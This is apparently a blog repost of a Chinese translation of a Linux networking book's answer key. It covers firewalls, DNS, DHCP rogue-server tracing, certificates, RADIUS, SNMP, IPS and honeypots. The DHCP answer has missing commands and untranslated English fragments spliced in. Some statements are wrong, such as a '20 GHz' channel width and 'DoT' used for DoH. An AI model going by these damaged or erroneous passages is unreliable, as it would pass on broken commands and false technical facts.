  4. nmcli命令是推荐的更改方法。例如,要将接口连接有线以太网 1 设置为 100 Mbps/全双工,请使用以下命令:

$ sudo nmcli connection modify 'Wired connection 1' 802-3-ethernet.speed 100
$ sudo nmcli connection modify 'Wired connection 1' 802-3-ethernet.duplex full

第三章 - 使用 Linux 和 Linux 工具进行网络诊断

  1. 您永远不会看到这一点。从网络的角度来看,会话、连接和对话只存在于 TCP 协议(在 OSI 第 5 层)。UDP 对话是无状态的 - 网络无法将 UDP 请求与 UDP 响应关联起来 - 所有这些都必须在应用程序内部发生。通常,应用程序将在数据包中包含会话号或序列号(或两者,取决于应用程序)来完成这一点。但请记住,如果应用程序以某种方式在 UDP 上维护会话,那么应用程序有责任保持其正确 - 在 OSI 第 5 层的主机或网络上没有任何东西会像我们在 TCP 中看到的那样跟踪这一点。

  2. 如果您正在解决网络或应用程序问题,这是关键信息。例如,如果您遇到可能与网络有关的应用程序问题,了解主机监听的端口可以是关键 - 例如,这些端口可能需要在主机防火墙上配置或在某些其他路径防火墙上配置。

从另一个角度来看,如果您在特定端口上看到防火墙错误,例如长时间运行的会话被终止,那么您需要将端口与应用程序联系起来。

第三个例子,当调查恶意软件时,您可能会看到与发送或监听端口相关联的恶意软件活动。能够快速诊断这一点可以使查找可能受到该恶意软件影响的其他站点变得更加简单。例如,可以使用 Nmap 找到在特定端口上监听的恶意软件,或者可以使用防火墙日志快速找到在特定端口上传输的恶意软件。这种情况的一个很好的例子是恶意软件在 DNS 端口上外泄数据 - 在这种情况下,您将寻找tcp/53udp/53的防火墙日志条目,要么来自不是 DNS 服务器的内部主机,要么发送到不是 DNS 服务器的外部主机。在大多数公司环境中,只有 DNS 服务器应该向特定的互联网 DNS 转发主机发出 DNS 查询(有关此内容的更多详细信息,请参见第六章Linux 上的 DNS 服务)。

  1. 在一个良好运行的网络中,互联网防火墙通常会有双向规则。入站规则(从互联网到内部网络)将描述您可能希望允许互联网客户端连接的监听端口。这通常被称为“拒绝所有”作为最后一个条目,并且适当的警报通常会提醒管理员有恶意软件,不需要的软件安装在桌面或服务器上,配置错误的主机或设备,或者不属于组织网络的硬件。

  2. 证书用于保护许多服务,HTTPS(在tcp/443上)只是最受欢迎的。证书也用于认证或保护许多其他服务。最常见的一些服务如下表所示(还有很多):

如果证书过期,在最好的情况下,连接到该服务的用户将收到错误。根据其浏览器设置,他们可能无法继续。如果连接是从程序到服务的(即不是浏览器),则连接可能会出错,这取决于应用程序错误处理和日志记录代码的编写方式。

  1. 所有1024以下的端口都是服务器端口,因此需要管理权限才能在其中任何一个上打开监听器。

  2. 假设 20 GHz 的通道宽度,通道 1、6 和 11 不会重叠。

  3. 通道宽度通常会提高性能,这取决于客户端站点在媒体上尝试执行的操作。然而,在 2.4 GHz 频段,只有 11 个可用频道(并且只有 3 个选择不会产生干扰),增加通道宽度几乎肯定会增加大多数环境的干扰。在 5 GHz 频段中,有更多的频道可用,因此更有机会使用更宽的频道。

第四章- Linux 防火墙

  1. 希望您考虑使用 nftables。虽然 iptables 在未来几年仍将得到支持,但 nftables 更高效(在 CPU 方面),并支持 IPv6。它在“匹配”流量方面也更灵活,允许更容易地匹配数据包中的各个字段以进行进一步处理。

  2. 支持中央防火墙标准的简单方法(而不需要添加编排或配置管理工具)是使用nft include文件。这些文件可以在单个位置进行管理,赋予有意义的名称,然后复制到符合每个include文件用例的目标服务器上。例如,通常会看到为 Web 服务器,DNS 主机或 DHCP 服务器创建一个include文件。另一个非常常见的用例是创建一个单独的include文件,以允许仅从一小组管理“跳转主机”,地址范围或子网进行主机管理。

即使没有include文件,编排工具如 Terraform,Ansible,Puppet,Chef 或 Salt 也可以用于集中管理 Linux 主机和服务的许多方面,包括防火墙。在这种情况下,至少明智地硬编码编排工具所需的访问权限-发现编排工具中的简单配置错误刚刚删除了对服务器群的所有管理访问权限是不愉快的。

第五章-具有现实生活示例的 Linux 安全标准

  1. 可悲的是,此时美国没有任何联邦隐私立法。希望这在不久的将来会改变!

  2. 不,关键控件并不是作为审计框架。但是,您当然可以根据它们进行评估。

例如,在关键控制 1 中,建议为网络访问部署 802.1x 认证。这意味着您的工作站和/或用户帐户需要向网络“认证”,认证过程决定了该站点和用户 ID 组合可以访问什么。虽然这不是一个审计项目(它不讨论具体的设置或特定的服务或访问权限),但您是否在您的基础设施中实施了 802.1x 可以在更大的安全程序或一系列项目中进行评估。

  1. 对此的第一个答案是,第一个检查可能不准确,视差视图可以帮助确定这一点。例如,如果进行了更改,但操作系统或应用程序错误意味着配置更改没有正确实施,那么第二个工具来评估设置就可以识别出这一点。

更重要的是,配置更改和检查通常是在主机上本地进行的,并且需要逐个主机重复。通过“通过网络”评估设置,例如使用 Nmap 扫描,可以让您在几分钟内评估数百台主机。这不仅节省时间,而且也是审计员、渗透测试人员和恶意软件使用的节省时间的方法。

第六章 – Linux 上的 DNS 服务

  1. DNSSEC 实现了允许“签名”以验证 DNS 响应数据的记录。它既不加密请求也不加密响应,因此可以使用标准的 DNS 端口 udp/53tcp/53 运行。DoT 完全使用 TLS 加密 DNS 请求和响应。因为 DoT 是一个完全不同的协议,它使用端口 tcp/853

  2. DoH 作为一个 API 运行——请求和响应都在特定的 HTTP 头部的 HTTPS 流量中传输。DoT /dns-query,由于使用了 HTTPS 传输,该协议只使用 tcp/443

  3. 内部 DNS 服务器肯定会实现递归和转发器,以允许解析互联网主机。通常情况下,自动注册是启用的,并且请求通常仅限于组织内的“已知”子网。

组织区域的外部 DNS 服务器通常不会实现递归或转发器,几乎永远不会实现自动注册。几乎总是实现某种形式的速率限制。

第七章 – Linux 上的 DHCP 服务

  1. 首先,这可能只是打电话给帮助台的人的问题。确保这是一个分公司范围的问题。确保打电话的人已经插入网络(或者如果他们是无线的,确保他们已经正确关联)。确保他们不是在家工作;如果他们甚至不在办公室,那么这很可能不是您服务器的问题。

完成了“我们有问题吗”的问题后,看看你是否能在远程办公室找到任何东西。如果 WAN 链路、VPN 链路、路由器或办公室的交换机都没有工作,那么 DHCP 也不会工作。在深入研究 DHCP 方面之前,请确保您可以 ping 或以其他方式测试这些设备中的每一个。

接下来,首先确保 DHCP 服务器实际上正在工作。检查服务是否正在运行——请注意,以下 systemctl 命令为您提供了一些最近的 DHCP 数据包信息:

ss command, to see whether the server is listening on the correct UDP port. Note that this doesn't verify that it's actually the DHCP server that is listening on port 67/udp (bootups), but it would truly be an odd day if it was something else:

使用 tail 命令只提取最后几个日志条目。如果日期不是今天的,请注意日期,以查看 DHCP 上次分配地址的时间。您可能已经从 systemctl 输出中得到了这个信息,但您也可以从 syslog 中获取:

67/udp (bootups).At this point, you have checked pretty much everything. It is now time to check again that the routers and switches in the office are powered on, and that people haven't re-cabled anything in that office over the weekend. It's also worth checking again that the person who's reporting the problem is actually in the office. It may seem odd, but also ask if the lights are on – you'd be surprised how often people call in a network outage when what they really have is an extended power outage.If all that fails, proceed with *Question 2*. You may have a rogue DHCP server in that office and the Helpdesk may not have identified this problem yet.

  1. 在任何 Linux 客户端上,获取 DHCP 服务器的 IP。有几种方法可以做到这一点。您可以检查 syslog 文件:
$ sudo cat /var/log/syslog | grep DHCPACK
Mar 19 12:40:32 ubuntu dhclient[14125]: DHCPACK of 192.168.1.157 from 192.168.1.1 (xid=0xad460843)

或者只需从工作站上的 DHCP 客户端租约文件中转储服务器信息(这会在各种客户端接口更新时更新):

$ cat /var/lib/dhcp/dhclient.leases | grep dhcp-server
  option dhcp-server-identifier 192.168.1.1;
  option dhcp-server-identifier 192.168.1.1;

最后,你可以在前台更新租约并从那里获取信息。请注意,如果你通过 SSH 连接到客户端,你的地址可能会因为这种方法而改变。客户端也会在这里显示的最后一行上“挂起”。请记住,这是在前台运行的后台 DHCP 客户端进程,所以不是“挂起”,而是“等待”。按下Ctrl + C退出:

$ sudo dhclient –d 
Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Listening on LPF/ens33/00:0c:29:33:2d:05
Sending on   LPF/ens33/00:0c:29:33:2d:05
Sending on   Socket/fallback
DHCPREQUEST for 192.168.1.157 on ens33 to 255.255.255.255 port 67 (xid=0x7b4191e2)
DHCPACK of 192.168.1.157 from 192.168.1.1 (xid=0xe291417b)
RTNETLINK answers: File exists
bound to 192.168.1.157 -- renewal in 2843 seconds.

或者,如果远程客户端是基于 Windows 的,有一个简单的命令可以获取 DHCP 服务器地址:

> ipconfig /all | find /i "DHCP Server"
   DHCP Server . . . . . . . . . . : 192.168.1.1

无论你如何获取 DHCP 服务器 IP 地址,如果你从你的故障排除中得到的 IP 地址不是你的服务器,那么你就有一个流氓 DHCP 问题。

由于我们现在有了 DHCP IP 地址,从受影响的主机快速 ping 它,然后收集流氓服务器的 MAC 地址:

$ arp –a | grep "192.168.1.1"
_gateway (192.168.1.1) at 00:1d:7e:3b:73:cb [ether] on ens33

从 OUI 中获取有问题设备的制造商。在这种情况下,这是一个 Linksys 家用路由器。你可以很容易地从 Wireshark OUI 查找站点(www.wireshark.org/tools/oui-lookup.html)获取这个信息,或者如第二章中所述,基本 Linux 网络配置和操作-使用本地接口,我在 GitHub 上托管了一个脚本(github.com/robvandenbrink/ouilookup)。

现在去你的交换机(或者让你的网络人员参与进来),找出那个主机连接的交换机端口。注意,我们只是在寻找 MAC 地址的最后一部分:

# show mac address-table | i 73cb
* 1        001d.7e3b.73cb    dynamic   20         F    F   Gi1/0/7

在这一点上,你可能想要开始关闭那个端口并开始打电话。一定要确保你在这样做时不要关闭连接整个交换机的端口。首先检查该端口上的其他 MAC 地址,特别是查找 MAC 地址的计数:

# show mac address-table int Gi1/0/7

还要检查该端口的 LLDP 邻居列表-它应该告诉你那里是否有一个交换机:

# show lldp neighbors int g1/0/7 detailed

此外,查找该端口上的 CDP 邻居,同时查找交换机:

# show cdp neighbors int g1/0/7

如果该端口上有一个交换机,连接到相邻的交换机并重复这个过程,直到找到你的有问题的 DHCP 服务器的端口。

关闭有问题的端口后,你的用户应该能够重新开始获取 DHCP 地址。由于你有服务器的 OUI,你的下一步是要求办公室的一个值得信任的人去寻找一个上面贴有<插入品牌名称>标签的新盒子。

第八章- Linux 上的证书服务

  1. 第一个功能是最重要的,也是最容易被忽视的。证书提供了信任和身份验证。主机名与证书中的 CN 或 SAN 字段匹配提供了启动会话所需的身份验证。证书由受信任的 CA 签名意味着客户端可以信任身份验证。这将在本书的下一章第九章中再次讨论,Linux 的 RADIUS 服务

第二个功能是证书材料用于提供用于对后续会话进行对称加密的密钥的一些材料。但需要注意的是,随着我们进展到其他用例,许多使用证书的情况根本不进行会话加密——证书纯粹用于身份验证。

  1. PKCS#12格式,通常以.pfx或有时.p12为后缀,将服务的公共证书与其私钥结合在一起。这种组合通常在正常安装过程可能会得到通常有一个让我们从 CSR 开始的起点,但证书是一个预先存在的,比如通配符的情况下是必需的。

  2. CT 在公共 CA 所需的信任模型中至关重要。由于所有证书都是公开发布的,这意味着 CT 日志可以进行欺诈证书的审计。

作为一个附带好处,这意味着组织可以审计发放给他们的证书,以防止未经授权购买的证书,以及以前未知的服务。这有助于遏制非 IT 部门直接购买 IT 服务的影子 IT的蔓延,超出了正常渠道。

  1. 虽然 CA 在发放证书后从未被咨询,但保留已发放证书的详细信息有几个原因,如下所述:
  • 最重要的原因是信任。保留已发放证书的注册表意味着可以对此列表进行审计。

  • 第二个原因也是信任。保留已发放证书的日志意味着当您需要撤销一个或多个证书时,您可以通过index.txt文件中的名称识别它们,然后使用它们的序列号(与它们的文件名匹配)来撤销这些证书。

  • 最后,当操作内部 CA 和服务器基础设施时,通常会达到一个疑难解答的时刻,您会说几乎就像那个证书来自其他地方——例如,它可能是自签名的,或者可能是由另一个 CA 发放的。虽然您可以从证书本身获取这些信息,但私人 CA 上的索引为您提供了检查哪些证书是通过其他方法何时发放的所需工具。

例如,如果攻击者建立了一个与您相同名称的恶意 CA,这样您可以快速检查而无需使用openssl命令验证密钥和签名。

更糟糕的是,如果攻击者使用从您实际服务器中窃取的(有效的)密钥材料构建了恶意 CA,那么真实 CA 上的索引文件将是您指向最终诊断的唯一线索。

第九章-用于 Linux 的 RADIUS 服务

  1. 使用同时引用身份验证请求和后端组成员资格的unlang规则是解决此问题的经典方法。规则应指定以下内容:

  2. 如果您正在提出 VPN 请求,则需要加入“VPN 用户”组进行身份验证。

  3. 如果您正在提出管理访问请求,则需要加入“网络管理员”组。

  4. 这种方法可以扩展到包括任意数量的身份验证类型、设备类型、RADIUS 属性值和组成员资格。

提供所请求功能的一个示例unlang规则可能如下所示:

if(&NAS-IP-Address == "192.168.122.20") {
    if(Service-Type == Administrative && LDAP-Group == "Network Admins") {
            update reply {
                Cisco-AVPair = "shell:priv-lvl=15"
} 
            accept
} 
    elsif (Service-Type == "Authenticate-Only" && LDAP-Group == "VPN Users" ) {
        accept
    }
    elsif {
        reject
    }
}
  1. 有几个原因,这些在这里概述:

  2. 由于它使用证书,并且通常使用本地证书存储,整个信任模型

  3. 因为它使用 TLS-如果实施正确,那么对身份验证交换的加密的攻击是一个重大挑战。

  4. 每个无线用户都有自己的会话密钥,这些密钥经常轮换。

  5. 攻击者无法捕获或利用密码。所有其他无线身份验证和加密机制都使用用户 ID/密码(例如 PEAP)或预共享密钥。

  6. 部署 EAP-TLS 的障碍在于准备工作,特别是在 RADIUS 服务器和端点客户端上发布和安装证书。在典型的组织中,这是完全可行的,其中工作站由公司拥有,或者您可以指导员工在其拥有的任何授权设备上安装证书。此外,移动设备管理(MDM)平台可用于在手机和平板电脑上发布和安装证书。

然而,如果设备不是公司所有,例如,如果设备是顾问或供应商的笔记本电脑或员工拥有的家用电脑,那么在该设备上安全地发放和安装公司证书可能是一个真正的挑战。特别是,常见的情况是看到证书签名请求CSR)和证书通过电子邮件来回发送,这不建议用于传输此类敏感数据。

MFA 解决方案保留了用户 ID 密码界面,用于诸如 VPN 服务之类的事物,但消除了这些界面的密码填充或暴力攻击的风险。此外,将远程站点注册到 Google Authenticator 等系统中非常简单——只需扫描您获得的 QR 码即可完成!

第十章–Linux 负载均衡器服务

  1. 如果您的总负载可能达到负载均衡器的容量,DSR 解决方案意味着只有客户端到服务器的流量需要通过负载均衡器路由。这对大多数工作负载来说影响很大,因为大多数工作负载的返回流量(服务器到客户端)要比发送流量(从客户端到服务器)多得多。这意味着改用 DSR 解决方案可以很容易地将通过负载均衡器的流量减少 90%。

如果较小的负载均衡器与需要平衡的每个离散工作负载匹配 1:1,那么性能就不太重要了。特别是在虚拟化环境中,向基于 VM 的负载均衡器添加 CPU 和内存资源也比在传统的基于硬件的设备情况下进行硬件升级要简单得多。

DSR 负载均衡器还需要相当多的服务器和网络“调整”才能使所有部件正常工作。一旦它工作,当需要排除故障时,再次弄清楚所有这些可能会成为一个真正的问题。

DSR 解决方案在客户端和服务器之间的流量中也会失去一些智能,因为只能看到对话的一半。

  1. 您会使用基于代理的负载均衡器的主要原因是允许在 HTTPS 设置中进行会话持久性。这通过在前端虚拟 IP(VIP)上终止客户端会话,然后在后端接口上启动新的 HTTPS 会话来实现。这种方法允许负载均衡器在此方程式的客户端部分插入一个 cookie。当客户端发送下一个请求(其中将包括此 cookie)时,负载均衡器将会将会话引导到分配给此客户端 HTTPS 会话的服务器。

第十一章–Linux 中的数据包捕获和分析

  1. 您会从中间设备捕获出于几个原因:
  • 您无法访问任一端的主机,也没有权限在它们上捕获数据包。

  • 您无法访问允许您使用主机和 Wireshark 的交换机端口,要么是因为您不在现场,要么是因为没有交换机访问权限。

  • 如果中间设备是防火墙,从那里进行捕获将允许您考虑 NAT(在翻译之前和之后进行捕获),以及防火墙上的任何 ACL。

  • 如果您正在解决主机服务问题并且可以访问任一主机并且有权限在一个或两个主机上安装数据包捕获工具,那么您可以从任一端捕获。此外,从任一端捕获可能允许您在解密之前或之后捕获加密流量。

  • 使用 SPAN 端口进行捕获几乎是所有情况下的首选解决方案。这允许您捕获任一方向的流量,但不需要访问或权限更改任一端点主机。

  1. tcpdump 是 Linux 上的底层数据包捕获机制。几乎所有工具,包括 Wireshark 都使用 tcpdump。Wireshark 的优势在于它为操作员提供了一个 GUI 界面,这对那些不擅长“CLI 人员”来说非常有吸引力。此外,Wireshark 将完全解码数据包,并允许您使用显示过滤器交互式地深入到目标流量中。

另一方面,TCPdump 的优势在于它可以在任何地方运行,这在捕获会话通过 SSH 会话运行时非常有吸引力,或者如果进行捕获的主机没有运行 GUI。 TCPdump 还可以让您更好地控制会影响捕获性能或容量的低级功能。例如,环形缓冲区的大小可以很容易地从tcpdump命令行进行修改。

  1. RTP 协议的端口将在每次呼叫中都不同。它们始终是 UDP,但会在呼叫设置期间通过 SIP/SDP(特别是通过INVITE数据包)进行协商。

第十二章-使用 Linux 进行网络监控

  1. SNMP 的写访问权限允许您监视(读取)设备或主机参数,并设置(写入)相同的参数。因此,通过读写访问权限,您可以更改接口速度或双工,重新启动或关闭设备,或下载配置。有一个 nmap 脚本可以使这样的配置下载变得简单:snmp-ios-config.nse

  2. Syslog 通常以明文形式通过514/udp发送。有一个选项可以使用 IPSEC 加密这些流量,但它并没有被广泛实现。风险在于敏感信息是通过 syslog 发送的,因为它是明文,所以任何有能力阅读它的人都可以收集这些信息以备后用,或者在发送时对其进行修改。

例如,管理员通常会将他们的密码放在userid字段中,这意味着密码在那一点上可能已经泄露。这个人通常会采取的下一步是再次尝试,这意味着攻击者现在既有 userid 又有密码。然而,您希望记录这些信息,以帮助检测恶意登录尝试。

一种选择是启用 SNMPv3 并使用 SNMPv3 陷阱来记录日志,而不是使用 Syslog。然而,这将把您的日志平台转移到通常不太灵活且更难使用的平台。

要在 Cisco IOS 设备上启用 SNMPv3 陷阱,请使用以下代码:

snmp-server enable traps
!
! … this can also be done in a more granular fashion:
! snmp-server enable traps envmon fan shutdown supply temperature status ospf cpu
!
! EngineID is automatically generated by the router, use "show snmp engineID" to check
snmp-server engineID remote <server ip address> 800005E510763D0FFC1245N1A4
snmp-server group TrapGroup v3 priv
snmp-server user TrapUser TrapGroup remote <server ip address> v3 auth sha AuthPass priv 3des PSKPass
snmp-server host <server ip address>  informs version 3 priv TrapUser

您的 SNMP 陷阱服务器必须具有匹配的帐户信息和加密选项。如果您走到这一步,您还必须为发送陷阱的每个设备硬编码主机信息。

  1. NetFlow 收集和汇总网络流量的摘要信息。至少包括源 IP、目的 IP、协议、源端口号和目的端口号的“元组”。通常由收集服务器添加时间以进行分析,以便可以组合和相关多个服务器的流量,而无需担心各种网络设备之间的时钟漂移。

尽管如此,发送的信息通常不是敏感的-基本上,它是源和目的地 IP 地址以及所使用应用程序的猜测(通常是从目的地端口推导出来的)。大多数组织不会认为这是敏感信息。

然而,如果您的组织认为这是一个风险,那么将这些数据通过 IPSEC 隧道传回到收集服务器就足够简单了。这个架构可能有些棘手,因为您可能需要维护两个路由虚拟路由框架VRFs)来实现这一点,但这当然是可行的。也许更简单的方法是加密所有 WAN 流量,然后在核心路由器和 NetFlow 收集服务器之间应用第 2 层保护(假设它们在同一子网上)。

第十三章- Linux 上的入侵防范系统

  1. Zeek 将是您的首选工具。正如我们在 Zeek 示例中看到的,通过特定时间窗口内的所有流量快速钻取到特定的 TLS 版本。在搜索过程中添加地理位置信息只需要几次鼠标点击。源和目的地 IP 地址在您缩小搜索范围时为您总结,因此不需要采取额外的行动来收集它们。

  2. SSH 客户端在使用时会生成流量。诸如 P0F(或商业工具如 Teneble PVS)之类的工具可以被动地收集所有流量,然后将这些流量与客户端工作站关联起来。通过使用诸如 JA3 或 HASSH 之类的算法,被动收集的数据通常可以告诉您有关客户端应用程序的信息,甚至可以精确到其版本。这使您可以针对过时的客户端进行软件升级。

PuTTY 就是一个很好的例子,因为这个应用程序通常不是使用完整的基于 MSI 的 Windows 安装程序安装的。这意味着通常不容易使用 PowerShell 或商业清单工具进行清点。

这种方法的缺点是只能在应用程序使用时对目标应用程序进行清点。识别硬件客户端-例如,未经授权的物联网IoT)设备-特别有效,因为这些设备倾向于非常频繁地与各种云服务联系。

  1. 首先,故意将 IPS 放置在防火墙的公共互联网侧在当今并不是很有效,考虑到该网络的敌对性-它将不断发出警报,这将导致太多的“噪音”需要过滤。

将 IPS 放置在主要捕获出站流量或绕过防火墙的入站流量的位置,可以大大减少评估的流量,将其缩小到潜在的攻击流量(入站)和可能指示内部主机受到威胁的流量(出站)。这种放置通常是在 SPAN 端口上,监视防火墙的内部和 DMZ 接口。这可能扩展到其他端口或整个 VLAN(参考第十一章Linux 中的数据包捕获和分析中的 SPAN 端口部分)。

将 IPS 放置在可以检查解密流量的位置,可以评估否则“不可见”的有效载荷;例如,在 RDP、SSH 或 HTTPS 流量中。在现代架构中,这通常意味着 IPS 实际上位于防火墙本身上,通常被称为统一威胁管理UTM)防火墙或下一代防火墙NGFW)。

第十四章- Linux 上的蜜罐服务

  1. 蜜罐被部署来“拍摄”攻击者的流量。特别是在内部网络上,它们的主要目标是让攻击者在蜜罐主机上忙碌足够长的时间,以便你可以采取一些防御措施。

点亮一个主机上意想不到的端口组合会立即暴露你的攻击者,目标是一个蜜罐。他们不仅会跳过那个主机,而且会更加谨慎地继续,知道你部署了蜜罐。

  1. AD 域控制器通常启用了许多这些端口:

这个列表并不完整,重点是 TCP 端口。攻击者通常会完全跳过扫描 UDP 端口,特别是如果开放的 TCP 端口的配置足以识别目标主机。

在互联网上,例外情况将是对500/udp4500/udp的扫描,这通常表示开放的 VPN 端点。

posted @ 2024-05-16 19:17  绝不原创的飞龙  阅读(9)  评论(0编辑  收藏  举报